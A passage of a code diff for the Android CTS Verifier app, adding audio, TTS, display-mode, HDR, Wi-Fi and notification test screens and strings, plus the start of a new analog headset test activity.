-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="horizontal">
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_no"
-                android:text="@string/audio_general_headset_no" />
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_yes"
-                android:text="@string/audio_general_headset_yes" />
-
-        </LinearLayout>
+    <include layout="@layout/audio_wired_query_layout" />
 
     <TextView
       android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/audio_wired_query_layout.xml b/apps/CtsVerifier/res/layout/audio_wired_query_layout.xml
new file mode 100644
index 0000000..bc8038b
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_wired_query_layout.xml
@@ -0,0 +1,32 @@
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:scrollbars="vertical"
+        android:gravity="bottom"
+        android:id="@+id/audio_wired_port_exists"
+        android:text="@string/audio_wired_exists" />
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal">
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:id="@+id/audio_wired_no"
+            android:text="@string/audio_wired_no" />
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:id="@+id/audio_wired_yes"
+            android:text="@string/audio_wired_yes" />
+    </LinearLayout>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index e61ba01..090b080 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -137,6 +137,16 @@
 
     <include layout="@layout/audio_loopback_footer_layout"/>
 
+    <LinearLayout android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+        <TextView
+            android:id="@+id/proAudioTestStatusLbl"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:textSize="18sp"/>
+    </LinearLayout>
+
     <include layout="@layout/pass_fail_buttons"/>
 </LinearLayout>
 </ScrollView>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/tts_main.xml b/apps/CtsVerifier/res/layout/tts_main.xml
new file mode 100644
index 0000000..f4f1cab
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/tts_main.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+  
+          http://www.apache.org/licenses/LICENSE-2.0
+  
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="1"
+        android:orientation="vertical"
+        android:padding="16dp">
+
+        <ScrollView android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1">
+
+            <TextView android:id="@+id/status"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/tts_test_steps" />
+
+        </ScrollView>
+
+        <Button android:id="@+id/accessibility_settings_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/tts_accessibility_settings_button" />
+
+    </LinearLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index bbc3ae3..73be672 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -45,6 +45,7 @@
     <string name="test_category_jobscheduler">Job Scheduler</string>
     <string name="test_category_telecom">Telecom</string>
     <string name="test_category_telephony">Telephony</string>
+    <string name="test_category_tunnel">Tunnel Mode</string>
     <string name="test_category_tv">TV</string>
     <string name="test_category_instant_apps">Instant Apps</string>
     <string name="test_category_display_cutout">DisplayCutout</string>
@@ -1727,6 +1728,9 @@
     <string name="sv_failed_title">Test Failed</string>
     <string name="sv_failed_message">Unable to play stream.  See log for details.</string>
 
+    <!-- Strings for MediaCodecFlushActivity -->
+    <string name="media_codec_flush">Video codec flushing in Tunnel Mode</string>
+
     <!-- Strings for the Camera Bokeh mode test activity -->
     <string name="camera_bokeh_test">Camera Bokeh</string>
     <string name="camera_bokeh_test_info">
@@ -1780,8 +1784,8 @@
     <string name="wifi_status_suggestion_get_failure">Failed to get suggestions.</string>
     <string name="wifi_status_suggestion_remove">Removing suggestions from the device.</string>
     <string name="wifi_status_suggestion_remove_failure">Failed to remove suggestions.</string>
-    <string name="wifi_status_suggestion_wait_for_connect">Waiting for network connection. Please click \"Allow\" in the dialog that pops up for approving the app.</string>
-    <string name="wifi_status_suggestion_ensure_no_connect">Ensuring no network connection. Please click \"Allow\" in the dialog that pops up for approving the app.</string>
+    <string name="wifi_status_suggestion_wait_for_connect">Waiting for network connection.</string>
+    <string name="wifi_status_suggestion_ensure_no_connect">Ensuring no network connection.</string>
     <string name="wifi_status_suggestion_connect">Connected to the network.</string>
     <string name="wifi_status_suggestion_not_connected">Did not connect to the network.</string>
     <string name="wifi_status_suggestion_wait_for_post_connect_bcast">Waiting for post connection broadcast.</string>
@@ -1797,6 +1801,10 @@
     <string name="wifi_status_suggestion_capabilities_not_changed">Network capabilities did not change.</string>
     <string name="wifi_status_suggestion_not_disconnected">Did not disconnect from the network.</string>
     <string name="wifi_status_suggestion_disconnected">Disconnected from the network.</string>
+    <string name="wifi_status_suggestion_add_user_approval_status_listener_failure">Failed to add user approval status listener</string>
+    <string name="wifi_status_suggestion_wait_for_user_approval">Waiting for user approval. Please click \"Allow\" in the dialog that pops up for approving the app</string>
+    <string name="wifi_status_suggestion_user_approval_status_failure">Failed to receive user approval status change</string>
+    <string name="wifi_status_suggestion_user_approve_failure">Failed to get user approval</string>
 
     <string name="wifi_status_test_success">Test completed successfully!</string>
     <string name="wifi_status_test_failed">Test failed!</string>
@@ -2008,6 +2016,12 @@
     <string name="aware_dp_ib_open_solicited">Data Path: Open: Solicited/Active</string>
     <string name="aware_dp_ib_passphrase_solicited">Data Path: Passphrase: Solicited/Active</string>
     <string name="aware_dp_ib_pmk_solicited">Data Path: PMK: Solicited/Active</string>
+    <string name="aware_dp_ib_open_unsolicited_accept_any">Data Path: Open: Unsolicited/Passive: accept any peer</string>
+    <string name="aware_dp_ib_passphrase_unsolicited_accept_any">Data Path: Passphrase: Unsolicited/Passive: accept any peer</string>
+    <string name="aware_dp_ib_pmk_unsolicited_accept_any">Data Path: PMK: Unsolicited/Passive: accept any peer</string>
+    <string name="aware_dp_ib_open_solicited_accept_any">Data Path: Open: Solicited/Active: accept any peer</string>
+    <string name="aware_dp_ib_passphrase_solicited_accept_any">Data Path: Passphrase: Solicited/Active: accept any peer</string>
+    <string name="aware_dp_ib_pmk_solicited_accept_any">Data Path: PMK: Solicited/Active: accept any peer</string>
     <string name="aware_discovery_ranging">Discovery with Ranging</string>
     <string name="aware_publish">Publish</string>
     <string name="aware_subscribe">Subscribe</string>
@@ -2212,6 +2226,17 @@
     <string name="nls_anr">This test checks that notifications are not sent with content that is
         too long. If this test causes the test app to ANR, the test has failed.
     </string>
+    <string name="action_not_sent">SecureActionOnLockScreenTest</string>
+    <string name="action_received">Action Sent - SecureActionOnLockScreenTest</string>
+    <string name="action_test_title">Action</string>
+    <string name="nls_visibility">Please change the lock screen setting to hide sensitive content
+        on the lockscreen</string>
+    <string name="add_screen_lock">Add a secure screen lock of any type</string>
+    <string name="remove_screen_lock">Remove the added screen lock</string>
+    <string name="secure_action_lockscreen">Lock the screen and find the SecureActionOnLockScreenTest
+        notification. Tap on its action. Verify that the keyguard displays on tap, and that the
+        notification text does not update until the passcode is entered. Ensure that the notification
+        text does update once the device is unlocked.</string>
     <string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
     <string name="conversation_section_ordering">If this device supports conversation notifications,
         and groups them into a separate section from alerting and silent non-conversation
@@ -2285,6 +2310,10 @@
     <string name="nls_snooze_one_time">Check that service can snooze a notification for a given time.</string>
     <string name="nls_get_snoozed">Check that service can retrieve snoozed notifications.</string>
     <string name="nls_unsnooze_one">Check that service can unsnooze a notification.</string>
+    <string name="nls_change_type_filter">Click this button to launch the settings page for this app\'s notification listener in settings. Note what types were allowed before you make and changes. Change the filter types to allow everything except silent notifications, and then return to this screen</string>
+    <string name="nls_original_filter_verification">Were all types except ongoing notifications allowed? Are all types except silent notifications allowed now?</string>
+    <string name="nls_filter_test">Checking that an alerting notification is received and a silent one is not</string>
+    <string name="nls_reset_type_filter">Go to settings and allow all notification types, and then return here.</string>
     <string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
     <string name="cp_test">Condition Provider test</string>
     <string name="cp_service_name">Condition Provider for CTS Verifier</string>
@@ -2820,12 +2849,6 @@
 
     <string name="provisioning_tests_byod">BYOD Provisioning tests</string>
 
-    <string name="provisioning_tests_byod_custom_color"> Custom provisioning color </string>
-    <string name="provisioning_tests_byod_custom_color_info">
-        Please press the Go button to start the provisioning.
-        Check that the top status bar is colorized in green.
-        Then hit back and stop the provisioning.
-    </string>
     <string name="provisioning_tests_byod_custom_image"> Custom provisioning image </string>
     <string name="provisioning_tests_byod_custom_image_info">
         1. Please press the Go button to start the provisioning.\n
@@ -3430,12 +3453,18 @@
     <string name="device_owner_positive_category">Device Owner Tests</string>
     <string name="set_device_owner_button_label">Set up device owner</string>
     <string name="set_device_owner_dialog_title">Set up device owner</string>
+    <string name="grant_headless_system_user_permissions">
+            For this test you need to grant INTERACT_ACROSS_USERS to CtsVerifier by running\n
+            adb shell pm grant --user current com.android.cts.verifier android.permission.INTERACT_ACROSS_USERS\n
+            adb shell pm grant --user 0 com.android.cts.verifier android.permission.INTERACT_ACROSS_USERS\n\n
+    </string>
     <string name="set_device_owner_dialog_text">
             For this test you need to install CtsEmptyDeviceOwner.apk by running\n
             adb install -r -t /path/to/CtsEmptyDeviceOwner.apk\n
             Then you need to set this app as the device owner by running\n
-            adb shell dpm set-device-owner com.android.cts.emptydeviceowner/.EmptyDeviceAdmin
+            adb shell dpm set-device-owner --user 0 com.android.cts.emptydeviceowner/.EmptyDeviceAdmin
     </string>
+
     <string name="device_owner_remove_device_owner_test">Remove device owner</string>
     <string name="device_owner_remove_device_owner_test_info">
             Please check in Settings &gt; Security &gt; Device Administrators if CTSVerifier is
@@ -3444,11 +3473,14 @@
     </string>
     <string name="remove_device_owner_button">Remove device owner</string>
     <string name="device_owner_check_device_owner_test">Check device owner</string>
-    <string name="device_owner_incorrect_device_owner">Missing or incorrect device owner: CTSVerifier is not DO!</string>
+    <string name="device_owner_check_profile_owner_test">Check profile owner</string>
+    <string name="device_owner_incorrect_device_owner">Missing or incorrect device owner: CTSVerifier is not DO for user %1$d!</string>
+    <string name="device_owner_incorrect_profile_owner">Missing or incorrect profile owner: CTSVerifier is not PO for user %1$d!</string>
     <string name="device_owner_wifi_lockdown_test">WiFi configuration lockdown</string>
     <string name="device_owner_wifi_lockdown_info">
             Please enter the SSID and auth method of an available WiFi Access Point and press the button to create a
-            WiFi configuration. This configuration can be seen on Settings &gt; WiFi. The test cases
+            WiFi configuration. This configuration must NOT EXIST yet (you can use Settings &gt; WiFi to verify - if it exists,
+            then select the option to forget it). The test cases
             are going to use this config. Please go through test cases in order (from top to bottom).
     </string>
     <string name="switch_wifi_lockdown_off_button">WiFi config lockdown off</string>
@@ -4663,9 +4695,22 @@
 
     <!-- HDR Capabilities test -->
     <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
+    <string name="tv_hdr_capabilities_test_step_hdr_display">HDR Display</string>
+    <string name="tv_hdr_capabilities_test_step_no_display">No Display</string>
+    <string name="tv_hdr_capabilities_test_step_non_hdr_display">Non HDR Display</string>
     <string name="tv_hdr_capabilities_test_info">This test checks if
         Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
     </string>
+    <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
+        press the "%s" button, below.
+    </string>
+    <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
+        the "%s" button, below.
+    </string>
+    <string name="tv_hdr_disconnect_display">Press the "%1$s" button
+        and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
+        reconnect the display.
+    </string>
     <string name="tv_panel_hdr_types_reported_are_supported">
         The supported HDR types are: %s\nAre all of them supported by the hardware?
     </string>
@@ -4673,6 +4718,31 @@
         Are there other HDR types which are supported by the hardware, but are not listed above?
     </string>
 
+    <!-- Display Modes Test -->
+    <string name="tv_display_modes_test">Display Modes Test</string>
+    <string name="tv_display_modes_test_info">This test checks if Display.getSupportedModes()
+        and Display.getMode() are correctly reporting the supported screen modes.
+    </string>
+    <string name="tv_display_modes_disconnect_display">
+        Press the "%1$s" button and disconnect the display within %2$d seconds. Wait at least %3$d
+        seconds and then reconnect the display.
+    </string>
+    <string name="tv_display_modes_test_step_no_display">No Display</string>
+    <string name="tv_display_modes_test_step_1080p">1080p Display</string>
+    <string name="tv_display_modes_test_step_2160p">2160p Display</string>
+    <string name="tv_display_modes_start_test_button">Start Test</string>
+    <string name="tv_display_modes_connect_2160p_display">
+        Connect a 2160p display and press the "%s" button, below.
+    </string>
+    <string name="tv_display_modes_connect_1080p_display">
+        Connect a 1080p display and press the "%s" button, below.
+    </string>
+    <string name="tv_panel_display_modes_reported_are_supported">
+        The supported display modes are:\n%s\n\nAre all of the above display modes supported by the hardware?
+    </string>
+    <string name="tv_panel_display_modes_supported_are_reported">
+        Are there other modes which are supported by the hardware, but are not listed above?
+    </string>
     <string name="overlay_view_text">Overlay View Dummy Text</string>
     <string name="custom_rating">Example of input app specific custom rating.</string>
 
@@ -4829,6 +4899,15 @@
     <string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO
         flag and therefore does not need to run this test.</string>
 
+    <!-- Various test status strings -->
+    <string name="audio_proaudio_pass">Pass</string>
+    <string name="audio_proaudio_latencytoohigh">Latency is too high</string>
+    <string name="audio_proaudio_confidencetoolow">"Insufficient Confidence value"</string>
+    <string name="audio_proaudio_midinotreported">"No MIDI support reported"</string>
+    <string name="audio_proaudio_usbhostnotreported">"No USB Host Mode support reported"</string>
+    <string name="audio_proaudio_usbperipheralnotreported">"No USB Peripheral Mode support reported"</string>
+    <string name="audio_proaudio_hdminotvalid">HDMI support is reported by not valid.</string>
+
     <!--  MIDI Test -->
     <string name="midi_test">MIDI Test</string>
     <string name="ndk_midi_test">Native MIDI API Test</string>
@@ -4870,9 +4949,9 @@
     <string name="midiFailedJNILbl">Failed - JNI Error.</string>
 
     <!-- Audio general text -->
-    <string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
-    <string name="audio_general_headset_no">No</string>
-    <string name="audio_general_headset_yes">Yes</string>
+    <string name="audio_wired_exists">Does this device support wired USB or Analog audio peripherals?</string>
+    <string name="audio_wired_no">No</string>
+    <string name="audio_wired_yes">Yes</string>
     <string name="audio_general_deficiency_found">WARNING: Some results show potential deficiencies on the system.
     Please consider addressing them for a future release.</string>
     <string name="audio_general_test_passed">Test Result: Successful</string>
@@ -5029,7 +5108,24 @@
     <string name="vr_test_usb_noise_instructions">TEST USB NOISE: Connect USB microphone and position it right next to microphone under test.
         Position speakers 40 cms from device under test. Press [PLAY] to play broadband white noise. Press [TEST]</string>
 
-
+    <!-- Analog Headset Test -->
+    <string name="audio_headset_audio_test">Analog Headset Audio Test</string>
+    <string name="analog_headset_query">Does this Android device have an analog headset jack?</string>
+    <string name="analog_headset_play">Play</string>
+    <string name="analog_headset_stop">Stop</string>
+    <string name="analog_headset_success_question">Was the audio correctly played through the headset/headphones?</string>
+    <string name="analog_headset_keycodes_label">Headset Keycodes</string>
+    <string name="analog_headset_headsethook">HEADSETHOOK</string>
+    <string name="analog_headset_volup">VOLUME_UP</string>
+    <string name="analog_headset_voldown">VOLUME_DOWN</string>
+    <string name="analog_headset_test">Analog Headset Test</string>
+    <string name="analog_headset_test_info">
+        This test tests the following functionality with respect to wired analog headset/headphones.\n
+        1. Correct audio playback.\n
+        2. Plug intents.\n
+        3. Headset keycodes.\n
+        To run this test it is necessary to have an Android device with a 3.5mm analog headset jack and a compatible analog headset with Hook, Volume Up and Volume Down buttons.
+    </string>
     <!-- Audio AEC Test -->
     <string name="audio_aec_test">Audio Acoustic Echo Cancellation (AEC) Test</string>
     <string name="audio_aec_info">
@@ -5315,7 +5411,7 @@
     <string name="proaudio_info">
        This test requires that you have connected a supported USB Audio Peripheral device
        (not a headset) and that peripheral\'s audio outputs are connected to the peripherals\'s
-       audio inputs. Alternatively, for devices with an analog audio jack or USB-c Digital
+       audio inputs. Alternatively, for devices with an analog audio jack or USB-C Digital
        to Analog dongle, a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>
        can be used. Also, if there is an input level
        control on the peripheral, it must be set to a non-zero value. When the test has
@@ -5593,7 +5689,8 @@
     <string name="uap_test_no">No</string>
     <string name="uap_test_yes">Yes</string>
     <string name="uap_test_info">Info</string>
-    <string name="uap_test_question">Does this device allow for the connectiono of a USB reference microphone?</string>
+    <string name="uap_test_question">Does this device allow for the connection of a USB audio peripheral?\nNote: phones and tablets generally do, watches and automobiles generally do not.</string>
+    <string name="uap_refmic_question">Does this device allow for the connection of a USB reference microphone?</string>
     <string name="uap_mic_dlg_caption">USB Host Mode Audio Required</string>
     <string name="uap_mic_dlg_text">This test requires a USB audio peripheral to be connected to the device.
     If the device under test does not support USB Host Mode Audio (either because it does not have a
@@ -5616,6 +5713,15 @@
     Note: Devices declaring feature android.hardware.audio.pro MUST implement USB host mode (CDD 5.10 C-1-3) and if they omit a 4 conductor 3.5mm audio jack MUST support USB audio class (CDD 5.10 C-3-1)
     </string>
 
+    <string name="loopback_test_question">Does this device allow for the connection of a loopback audio peripheral?</string>
+    <string name="loopback_dlg_caption">Loopback Peripheral Required</string>
+    <string name="loopback_dlg_text">This test requires an Audio Loopback Peripheral to be connected to the device.\n
+        This can be done in one of three ways:\n
+        1. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to the 3.5mm headset jack.\n
+        2. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to a USB-C headset adapter.\n
+        3. Connect a USB audio interface peripheral and connect the outputs to the inputs with audio patch cables.
+    </string>
+
     <string name="display_cutout_test">DisplayCutout Test</string>
     <string name="display_cutout_test_instruction">\n
     This test is to make sure that the area inside the safe insets from the DisplayCutout should be
@@ -5625,12 +5731,21 @@
     2. All buttons are clickable. \n
     </string>
 
-    <string name="loopback_test_question">Does this device allow for the connection of a loopback audio peripheral?</string>
-    <string name="loopback_dlg_caption">Loopback Peripheral Required</string>
-    <string name="loopback_dlg_text">This test requires an Audio Loopback Peripheral to be connected to the device.\n
-        This can be done in one of three ways:\n
-        1. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to the 3.5mm headset jack.\n
-        2. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to a USB-C headset adapter.\n
-        3. Connect a USB audio interface peripheral and connect the outputs to the inputs with an audio patch cable.
+    <!-- TTS Test Resources -->
+    <string name="tts_test">TTS Test</string>
+    <string name="tts_test_info">
+      1. Install the CtsTtsEngineSelectorTestHelper and CtsTtsEngineSelectorTestHelper2 apps on the device.\n
+      2. Click on the "Go To Accessibility Settings" button.\n
+      3. Go to Text-to-speech output > Preferred engine.\n
+      4. Ensure that two engines are listed, both named "TTS CTS Test Helper App".\n
+      5. Ensure that each engine can be selected.
     </string>
+    <string name="tts_test_steps">
+      1. Install the CtsTtsEngineSelectorTestHelper and CtsTtsEngineSelectorTestHelper2 apps on the device.\n
+      2. Click on the "Go To Accessibility Settings" button.\n
+      3. Go to Text-to-speech output > Preferred engine.\n
+      4. Ensure that two engines are listed, both named "TTS CTS Test Helper App".\n
+      5. Ensure that each engine can be selected.
+    </string>
+    <string name="tts_accessibility_settings_button">Go To Accessibility Settings</string>
 </resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index f9601de..48f4c6b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -131,8 +131,6 @@
 
     private static final String CONFIG_HDMI_SOURCE = "config_hdmi_source";
 
-    private static final String CONFIG_TV_PANEL = "config_tv_panel";
-
     private static final String CONFIG_QUICK_SETTINGS_SUPPORTED = "config_quick_settings_supported";
 
     /** The config to represent that a test is only needed to run in the main display mode
@@ -430,13 +428,16 @@
                         }
                         break;
                     case CONFIG_HDMI_SOURCE:
-                        if(isTvPanel()) {
-                            return false;
-                        }
-                        break;
-                    case CONFIG_TV_PANEL:
-                        if(!isTvPanel()) {
-                            return false;
+                        final int DEVICE_TYPE_HDMI_SOURCE = 4;
+                        try {
+                            if (!getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
+                                return false;
+                            }
+                        } catch (Exception exception) {
+                            Log.e(
+                                    LOG_TAG,
+                                    "Exception while looking up HDMI device type.",
+                                    exception);
                         }
                         break;
                     case CONFIG_QUICK_SETTINGS_SUPPORTED:
@@ -452,21 +453,6 @@
         return true;
     }
 
-    private boolean isTvPanel() {
-        final int DEVICE_TYPE_HDMI_SOURCE = 4;
-        try {
-            if (getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
-                return false;
-            }
-        } catch (Exception exception) {
-            Log.e(
-                    LOG_TAG,
-                    "Exception while looking up HDMI device type.",
-                    exception);
-        }
-        return true;
-    }
-
     /**
      * Check if the test should be ran by the given display mode.
      *
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
index 350d58a..4818484 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
@@ -24,6 +24,7 @@
 
 import android.app.Activity;
 import android.content.Intent;
+import android.util.Log;
 
 /**
  * Object representing the result of a test activity like whether it succeeded or failed.
@@ -34,6 +35,8 @@
  */
 public class TestResult {
 
+    private static final String TAG = TestResult.class.getSimpleName();
+
     public static final int TEST_RESULT_NOT_EXECUTED = 0;
     public static final int TEST_RESULT_PASSED = 1;
     public static final int TEST_RESULT_FAILED = 2;
@@ -58,6 +61,8 @@
     /** Sets the test activity's result to pass including a test report log result. */
     public static void setPassedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
+        Log.i(TAG, "setPassedResult(activity=" + activity + ", testId=" + testId
+                + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
             testDetails, reportLog, null /*history*/));
     }
@@ -65,6 +70,8 @@
     /** Sets the test activity's result to pass including a test report log result and history. */
     public static void setPassedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        Log.i(TAG, "setPassedResult(activity=" + activity + ", testId=" + testId
+                + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
                 testDetails, reportLog, historyCollection));
     }
@@ -77,6 +84,8 @@
     /** Sets the test activity's result to failed including a test report log result. */
     public static void setFailedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
+        Log.e(TAG, "setFailedResult(activity=" + activity + ", testId=" + testId
+                + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
                 testDetails, reportLog, null /*history*/));
     }
@@ -84,6 +93,8 @@
     /** Sets the test activity's result to failed including a test report log result and history. */
     public static void setFailedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        Log.e(TAG, "setFailedResult(activity=" + activity + ", testId=" + testId
+                + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
             testDetails, reportLog, historyCollection));
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
new file mode 100644
index 0000000..da9e723
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -0,0 +1,416 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import android.graphics.Color;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+
+import android.os.Bundle;
+import android.os.Handler;
+
+import android.util.Log;
+
+import android.view.KeyEvent;
+import android.view.View;
+
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
+
+// MegaPlayer
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.JavaPlayer;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
+
+public class AnalogHeadsetAudioActivity
+        extends PassFailButtons.Activity
+        implements View.OnClickListener {
+    private static final String TAG = AnalogHeadsetAudioActivity.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private AudioManager    mAudioManager;
+
+    // UI
+    private Button mHasAnalogPortYesBtn;
+    private Button mHasAnalogPortNoBtn;
+
+    private Button mPlayButton;
+    private Button mStopButton;
+    private Button mPlaybackSuccessBtn;
+    private Button mPlaybackFailBtn;
+
+    private TextView mHeadsetNameText;
+    private TextView mHeadsetPlugMessage;
+
+    private TextView mHeadsetHookText;
+    private TextView mHeadsetVolUpText;
+    private TextView mHeadsetVolDownText;
+
+    // Devices
+    private AudioDeviceInfo mHeadsetDeviceInfo;
+    private boolean mHasHeadsetPort;
+    private boolean mPlugIntentReceived;
+    private boolean mPlaybackSuccess;
+
+    // Intents
+    private HeadsetPlugReceiver mHeadsetPlugReceiver;
+
+    // Buttons
+    private boolean mHasHeadsetHook;
+    private boolean mHasVolUp;
+    private boolean mHasVolDown;
+
+    // Player
+    protected boolean mIsPlaying = false;
+
+    // Mega Player
+    static final int NUM_CHANNELS = 2;
+    static final int SAMPLE_RATE = 48000;
+
+    JavaPlayer mAudioPlayer;
+
+    public AnalogHeadsetAudioActivity() {
+        super();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.audio_headset_audio_activity);
+
+        mHeadsetNameText = (TextView)findViewById(R.id.headset_analog_name);
+        mHeadsetPlugMessage = (TextView)findViewById(R.id.headset_analog_plug_message);
+
+        // Analog Port?
+        mHasAnalogPortYesBtn = (Button)findViewById(R.id.headset_analog_port_yes);
+        mHasAnalogPortYesBtn.setOnClickListener(this);
+        mHasAnalogPortNoBtn = (Button)findViewById(R.id.headset_analog_port_no);
+        mHasAnalogPortNoBtn.setOnClickListener(this);
+
+        // Player Controls.
+        mPlayButton = (Button)findViewById(R.id.headset_analog_play);
+        mPlayButton.setOnClickListener(this);
+        mStopButton = (Button)findViewById(R.id.headset_analog_stop);
+        mStopButton.setOnClickListener(this);
+
+        // Play Status
+        mPlaybackSuccessBtn = (Button)findViewById(R.id.headset_analog_play_yes);
+        mPlaybackSuccessBtn.setOnClickListener(this);
+        mPlaybackFailBtn = (Button)findViewById(R.id.headset_analog_play_no);
+        mPlaybackFailBtn.setOnClickListener(this);
+
+        // Keycodes
+        mHeadsetHookText = (TextView)findViewById(R.id.headset_keycode_headsethook);
+        mHeadsetVolUpText = (TextView)findViewById(R.id.headset_keycode_volume_up);
+        mHeadsetVolDownText = (TextView)findViewById(R.id.headset_keycode_volume_down);
+
+        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+
+        setupPlayer();
+
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+        mHeadsetPlugReceiver = new HeadsetPlugReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_HEADSET_PLUG);
